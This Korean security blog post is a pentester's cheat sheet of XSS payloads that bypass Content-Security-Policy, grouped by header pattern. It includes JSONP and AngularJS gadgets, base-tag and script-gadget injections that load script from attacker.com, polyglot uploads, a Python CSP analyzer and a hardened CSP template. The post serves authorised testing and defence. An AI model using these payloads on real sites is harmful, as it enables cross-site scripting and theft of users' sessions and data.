Intro
XSS 진단을 하다 보면 페이로드는 정확히 들어갔는데 CSP에 막혀서 트리거가 안되는 경우가 자주 있습니다. 이때마다 매번 CSP 헤더를 분석하고 우회 방법을 검색하는 게 귀찮아서, 헤더 패턴별로 바로 꺼내쓸 수 있는 우회 페이로드를 정리해두려고 합니다.
CSP는 분명 강력한 방어 수단이지만, 한 줄 한 줄 잘못 설정된 부분만 찾으면 우회는 거의 항상 가능하다는 게 진단하면서 느낀 점입니다. 'unsafe-inline' 한 줄, 화이트리스트 도메인 하나, base-uri 누락 하나만 있어도 결국 뚫립니다.
이 글은 XSS 글의 CSP 우회 섹션을 심화한 포스트입니다. CSP 헤더 패턴별로 매칭되는 페이로드를 빠르게 찾을 수 있게 정리했습니다.
Detect
진단 시작 시 가장 먼저 하는 작업입니다.
# CSP 헤더 추출
curl -sI https://victim.com | grep -i "content-security-policy"
# meta 태그로 설정된 경우도 확인
curl -s https://victim.com | grep -oP '<meta[^>]*Content-Security-Policy[^>]*>'
# 한방에 분석 (jq 활용)
curl -sI https://victim.com | grep -i "content-security-policy" | tr ';' '\n'
🔥 헤더 보자마자 봐야 할 4가지
script-src에'unsafe-inline'/'unsafe-eval'있는가?- 화이트리스트 도메인 중 JSONP나 Angular CDN이 있는가?
base-uri가 설정되어 있는가? (없으면 거의 항상 우회 가능)object-src 'none'빠져있는가?
CSP Evaluator 에 헤더 붙여넣으면 위 4가지 자동으로 짚어줍니다.
패턴별 우회 페이로드
1. 'unsafe-inline' 허용
Content-Security-Policy: script-src 'self' 'unsafe-inline'
이건 사실상 CSP 미적용입니다. 모든 inline script 그대로 동작합니다.
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
☑️ 이 케이스는 보고서 권고사항에
'unsafe-inline'제거 + nonce 기반 전환 가이드를 같이 넣어줘야 합니다.
2. 'unsafe-eval' 허용
Content-Security-Policy: script-src 'self' 'unsafe-eval'
inline은 막혀있지만 eval 계열 함수가 살아있습니다. 외부에서 데이터를 가져와서 eval로 실행하는 우회가 가능합니다.
<script src="/jsonp?callback=eval&payload=alert(1)"></script>
<!-- AngularJS가 함께 있는 경우 -->
<div ng-app></div>
// eval 직접 호출
eval('alert(1)')
Function('alert(1)')()
setTimeout('alert(1)', 0)
setInterval('alert(1)', 0)
3. JSONP Endpoint 화이트리스트
가장 자주 보이는 우회 케이스입니다.
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com
화이트리스트에 들어간 도메인이 JSONP를 지원하면, 콜백 파라미터에 페이로드를 넣어 실행시킬 수 있습니다.
자주 쓰이는 JSONP Gadget
<!-- Google -->
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>
<!-- Google Translate -->
<script src="https://translate.googleapis.com/translate_a/element.js?cb=alert(1)"></script>
<!-- Google Maps -->
<script src="https://maps.googleapis.com/maps/api/js?callback=alert(1)"></script>
<!-- Microsoft -->
<script src="https://www.bing.com/api/maps/mapcontrol?callback=alert(1)"></script>
<!-- Facebook -->
<script src="https://www.facebook.com/connect/ping?client_id=1&domain=x&origin=1&redirect_uri=1&response_type=token&callback=alert(1)"></script>
<!-- VK -->
<script src="https://vk.com/js/api/openapi.js?onload=alert(1)"></script>
<!-- Yandex -->
<script src="https://yastatic.net/jquery/3.1.0/jquery.min.js?callback=alert(1)"></script>
🔥 화이트리스트 도메인 발견 시 JSONBee 저장소에서 해당 도메인의 JSONP gadget 빠르게 찾을 수 있습니다. 거의 모든 메이저 도메인이 정리되어 있어서 진단 시 1순위로 확인합니다.
4. AngularJS CDN 화이트리스트
Content-Security-Policy: script-src 'self' https://ajax.googleapis.com https://cdnjs.cloudflare.com
AngularJS는 자체 표현식 평가 엔진이 있어서, AngularJS만 로드되면 CSP를 무력화할 수 있습니다.
Sandbox Escape 페이로드 (버전별)
<!-- AngularJS 1.0.x ~ 1.1.x -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js"></script>
<div ng-app ng-csp>
</div>
<!-- AngularJS 1.6.x 이상 (현재 가장 흔함) -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1)>click</div>
<!-- 클릭 없이 자동 트리거 -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<div ng-app ng-csp>
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
</div>
<!-- Prototype.js 화이트리스트 시 -->
<script src="https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angular_js/1.7.7/angular.js"></script>
<div ng-app ng-csp>
</div>
☑️ Angular는 버전마다 sandbox escape payload가 다릅니다. CDN URL의 버전 보고 PortSwigger AngularJS Sandbox 에서 매칭되는 페이로드 가져오는 게 빠릅니다.
5. base-uri 미설정
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m'
# base-uri 없음
nonce가 적용된 강력한 CSP라도 base-uri가 빠져있으면 우회됩니다. nonce를 가진 기존 script 태그가 상대경로로 다른 script를 로드하는 경우 활용 가능합니다.
<!-- 페이지 내 nonce 적용된 외부 script가 상대경로로 로드되는 경우 -->
<!-- 원본: <script nonce="r4nd0m" src="/js/app.js"></script> -->
<!-- 우회 페이로드 -->
<base href="https://attacker.com/">
<!-- 이후 /js/app.js 가 https://attacker.com/js/app.js 로 변경되어 로드 -->
<!-- attacker.com에 동일 경로로 악성 JS 호스팅하면 nonce가 그대로 적용된 채 실행 -->
🔥 이게 가장 임팩트 있는 우회 중 하나입니다. CSP는 완벽해 보이는데 base-uri 한 줄 빠진 걸로 통째로 무너지는 케이스를 진단하면서 여러 번 봤습니다.
6. 'strict-dynamic' + Script Gadget
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'
strict-dynamic은 nonce를 가진 script가 동적으로 추가하는 script도 신뢰합니다. 만약 페이지 내에 사용자 입력을 받아 script를 생성하는 라이브러리(Script Gadget)가 있으면 우회됩니다.
흔한 Script Gadgets
<!-- 페이지에 jQuery + DOMPurify가 있고, $(...).html() 형태로 사용자 입력을 처리하는 경우 -->
<form id="csrf-token" data-html="<script src=//attacker.com/x.js></script>"></form>
<!-- Bootstrap data-target 활용 -->
<button data-toggle="tooltip" title="<script>alert(1)</script>">x</button>
<!-- Knockout.js 사용 시 -->
<div data-bind="html:'<svg/onload=alert(1)>'"></div>
<!-- jQuery Mobile -->
<div data-role="page" id="p"><script src="//attacker.com/x.js"></script></div>
☑️ Script Gadget은 google/security-research-pocs 와 BlackHat 2017 Lekies 발표자료에 라이브러리별로 잘 정리되어 있습니다.
7. object-src 미설정 / 미차단
Content-Security-Policy: script-src 'self'
# object-src 없음 → default-src로 fallback, 없으면 모두 허용
<!-- object 태그로 우회 -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">
<!-- Flash가 살아있는 환경 (구식이지만 가끔 보임) -->
<object data="https://attacker.com/payload.swf"></object>
8. CDN/Storage Bucket Wildcard
Content-Security-Policy: script-src 'self' *.amazonaws.com *.cloudfront.net
S3 같은 사용자 업로드 가능 도메인이 wildcard로 허용된 경우, 자신의 버킷에 JS 올려서 로드시킵니다.
<!-- 공격자가 S3 버킷 생성 후 -->
<script src="https://attacker-bucket.s3.amazonaws.com/payload.js"></script>
<!-- 또는 같은 서비스에 사용자 업로드 기능이 있다면 -->
<!-- 1. JS 파일을 이미지로 위장해서 업로드 -->
<!-- 2. Content-Type 검증이 약하면 그대로 로드 -->
<script src="https://victim-cdn.amazonaws.com/uploads/payload.jpg"></script>
9. Path 허용 우회 (Open Redirect)
Content-Security-Policy: script-src 'self' https://api.victim.com/safe/
특정 경로만 허용한 듯 보이지만, CSP는 경로 검증이 엄격하지 않습니다. Open Redirect가 있으면 우회됩니다.
<!-- victim.com/redirect?url=... 에 Open Redirect 존재 시 -->
<script src="https://victim.com/redirect?url=https://attacker.com/payload.js"></script>
<!-- path traversal 스타일 -->
<script src="https://api.victim.com/safe/../../malicious/payload.js"></script>
10. File Upload + Content-Type Sniffing
Content-Security-Policy: script-src 'self'
서비스 자체에 파일 업로드 기능이 있고, 업로드된 파일이 'self' 도메인에서 서빙된다면 우회 가능합니다.
<!-- 1. JS 코드를 이미지/PDF/SVG에 위장해서 업로드 -->
<!-- alert(1) 만 들어있는 image.gif 업로드 후 -->
<script src="https://victim.com/uploads/image.gif"></script>
<!-- X-Content-Type-Options: nosniff 없으면 브라우저가 알아서 JS로 실행 -->
# polyglot 파일 생성 (gif + js)
echo -e "GIF89a\nalert(1)//" > polyglot.gif
file polyglot.gif # GIF image data 로 인식됨
11. iframe + CSP 우회
자식 iframe의 CSP는 부모와 별개입니다. 부모의 CSP가 강력해도 iframe 자체에 CSP가 없거나 약하면 우회 가능합니다.
<!-- srcdoc은 부모 CSP 상속하지만 -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<!-- 외부 페이지 로드는 그쪽 CSP를 따름 -->
<iframe src="https://attacker.com/payload.html"></iframe>
<!-- data: URI는 동일 출처가 아니므로 별도 컨텍스트 -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
🔥 부모 페이지 통제가 어려우면 iframe 안에서 부모로 메시지 보내는(
postMessage) 방식으로 데이터 탈취 가능합니다.
12. DOM Clobbering으로 Nonce 탈취
Content-Security-Policy: script-src 'nonce-{server-generated}'
페이지에 적용된 nonce 값을 추측하긴 어렵지만, DOM에서 끄집어내는 경우가 있습니다.
<!-- 페이지에 이런 코드가 있다면 -->
<script>
var s = document.createElement('script');
s.src = userInput;
s.nonce = document.currentScript.nonce; // 현재 script의 nonce 재사용
document.body.appendChild(s);
</script>
<!-- 페이로드: userInput으로 attacker.com/x.js 주입 -->
<!-- → nonce가 자동 복사되어 CSP 통과 -->
한 줄 헤더 → 페이로드 매핑 (Quick Reference)
| CSP 패턴 | 우회 페이로드 1순위 |
|---|---|
'unsafe-inline' 허용 |
<script>alert(1)</script> 그냥 들어감 |
'unsafe-eval' 허용 |
eval('alert(1)'), AngularJS 표현식 |
*.googleapis.com 화이트리스트 |
AngularJS sandbox escape |
*.google.com 화이트리스트 |
Google Search JSONP |
base-uri 미설정 |
<base href="//attacker.com/"> |
object-src 미설정 |
<object data="data:text/html,..."> |
*.amazonaws.com wildcard |
공격자 S3 버킷에 JS 호스팅 |
'strict-dynamic' + jQuery |
Script Gadget으로 동적 script 생성 |
| 자체 도메인 업로드 가능 | polyglot 파일 + Content-Type sniffing |
'self' + Open Redirect |
redirect 통한 외부 JS 로드 |
☑️ 이 표만 옆에 띄워놓고 진단해도 80% 케이스는 빠르게 처리됩니다.
PoC - CSP 자동 분석 도구
진단 시작 시 헤더 보고 우회 가능 여부를 빠르게 판단하는 스크립트입니다.
# Python 3.11 / requests 2.31.0
# pip install requests==2.31.0
import requests
import logging
import re
from urllib.parse import urlparse
logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(message)s')
# 알려진 위험 도메인 (JSONP / AngularJS gadget 보유)
RISKY_DOMAINS = {
'googleapis.com': 'AngularJS Sandbox Escape',
'ajax.googleapis.com': 'AngularJS Sandbox Escape',
'cdnjs.cloudflare.com': 'AngularJS / Multiple JS lib gadgets',
'google.com': 'Google Search JSONP (jsonp=alert(1))',
'translate.googleapis.com': 'Google Translate JSONP',
'maps.googleapis.com': 'Google Maps JSONP',
'youtube.com': 'YouTube JSONP gadget',
'facebook.com': 'Facebook Connect JSONP',
'amazonaws.com': 'S3 Bucket - Attacker upload possible',
'cloudfront.net': 'CloudFront - Origin upload check',
'github.io': 'GitHub Pages - Attacker can host',
'githubusercontent.com': 'GitHub Raw - Attacker can host',
'unpkg.com': 'NPM CDN - Attacker package',
'jsdelivr.net': 'NPM/GitHub CDN - Attacker package',
}
DANGEROUS_KEYWORDS = {
"'unsafe-inline'": '[CRIT] All inline scripts allowed',
"'unsafe-eval'": '[HIGH] eval() / Function() allowed',
"'unsafe-hashes'": '[MED] Inline event handler allowed (specific hashes)',
"data:": '[HIGH] data: scheme allowed - data:text/html injection',
"blob:": '[MED] blob: scheme allowed',
"*": '[CRIT] Wildcard allows everything',
"http:": '[MED] HTTP allowed (MITM possible)',
"filesystem:": '[MED] filesystem: scheme allowed',
}
def analyze_csp(url):
"""CSP 헤더 분석 후 우회 포인트 출력"""
logging.info(f"[+] Analyzing CSP for: {url}")
try:
r = requests.get(url, timeout=10, allow_redirects=True)
except requests.exceptions.RequestException as e:
logging.error(f"[ERR] {e}")
return
csp_header = r.headers.get('Content-Security-Policy') or \
r.headers.get('Content-Security-Policy-Report-Only')
# meta 태그도 체크
if not csp_header:
meta_match = re.search(
r'<meta[^>]*http-equiv=["\']Content-Security-Policy["\'][^>]*content=["\']([^"\']+)',
r.text, re.IGNORECASE
)
if meta_match:
csp_header = meta_match.group(1)
logging.info("[!] CSP found in <meta> tag (weaker than header)")
if not csp_header:
logging.warning("[CRIT] No CSP found - any XSS payload works")
return
print("\n" + "="*70)
print(f"[CSP Header]\n{csp_header}")
print("="*70 + "\n")
# 디렉티브 단위 분석
directives = {}
for d in csp_header.split(';'):
parts = d.strip().split(None, 1)
if not parts:
continue
name = parts[0].lower()
values = parts[1] if len(parts) > 1 else ''
directives[name] = values
# 1. 위험 키워드 검사
print("[*] Dangerous Keyword Check")
found_risk = False
script_src = directives.get('script-src') or directives.get('default-src', '')
for kw, desc in DANGEROUS_KEYWORDS.items():
if kw in script_src:
logging.warning(f" {desc}: {kw}")
found_risk = True
if not found_risk:
logging.info(" No dangerous keywords in script-src")
# 2. 화이트리스트 도메인 검사
print("\n[*] Whitelisted Domain Check (JSONP / Gadget)")
found_gadget = False
for risky, gadget in RISKY_DOMAINS.items():
if risky in script_src:
logging.warning(f" [GADGET] {risky} → {gadget}")
found_gadget = True
if not found_gadget:
logging.info(" No known risky domains found")
# 3. 누락 디렉티브 검사
print("\n[*] Missing Directive Check")
critical_directives = {
'base-uri': "[HIGH] Missing base-uri → <base href='//attacker.com/'>",
'object-src': "[HIGH] Missing object-src → <object data='data:text/html,...'>",
'frame-ancestors': "[MED] Missing frame-ancestors → Clickjacking possible",
'form-action': "[MED] Missing form-action → Form hijacking possible",
}
for d, msg in critical_directives.items():
if d not in directives:
logging.warning(f" {msg}")
# 4. nonce / strict-dynamic 검사
print("\n[*] Nonce / strict-dynamic Check")
if 'nonce-' in script_src:
logging.info(" [+] Nonce-based CSP detected (strong)")
if "'strict-dynamic'" in script_src:
logging.info(" [+] strict-dynamic enabled")
logging.warning(" [POTENTIAL] Look for Script Gadgets (jQuery, Bootstrap, etc.)")
else:
logging.warning(" [INFO] No nonce - relies on whitelist (weaker)")
print("\n" + "="*70)
logging.info("[+] Analysis done.")
print("="*70)
if __name__ == '__main__':
# RoE 범위 내 진단 환경에서만 사용
target = 'https://victim.example.com'
analyze_csp(target)
☑️ 이 스크립트를 Burp Suite extension으로 만들어두면 진단 자동화에 더 좋을 것 같아 추후 별도 포스트로 다뤄볼 예정입니다.
Defense - 진단자가 권고할 CSP 템플릿
진단 보고서 권고사항 작성 시 자주 쓰는 강력한 CSP 템플릿입니다.
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{RANDOM}' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'none';
form-action 'self';
object-src 'none';
require-trusted-types-for 'script';
핵심 포인트:
-
script-src: nonce +'strict-dynamic'(화이트리스트 X) -
base-uri 'none': base 태그 인젝션 차단 -
object-src 'none': object/embed 차단 -
frame-ancestors 'none': 클릭재킹 + iframe 임베딩 차단 -
default-src 'none': 명시적으로 허용한 것 외 전부 차단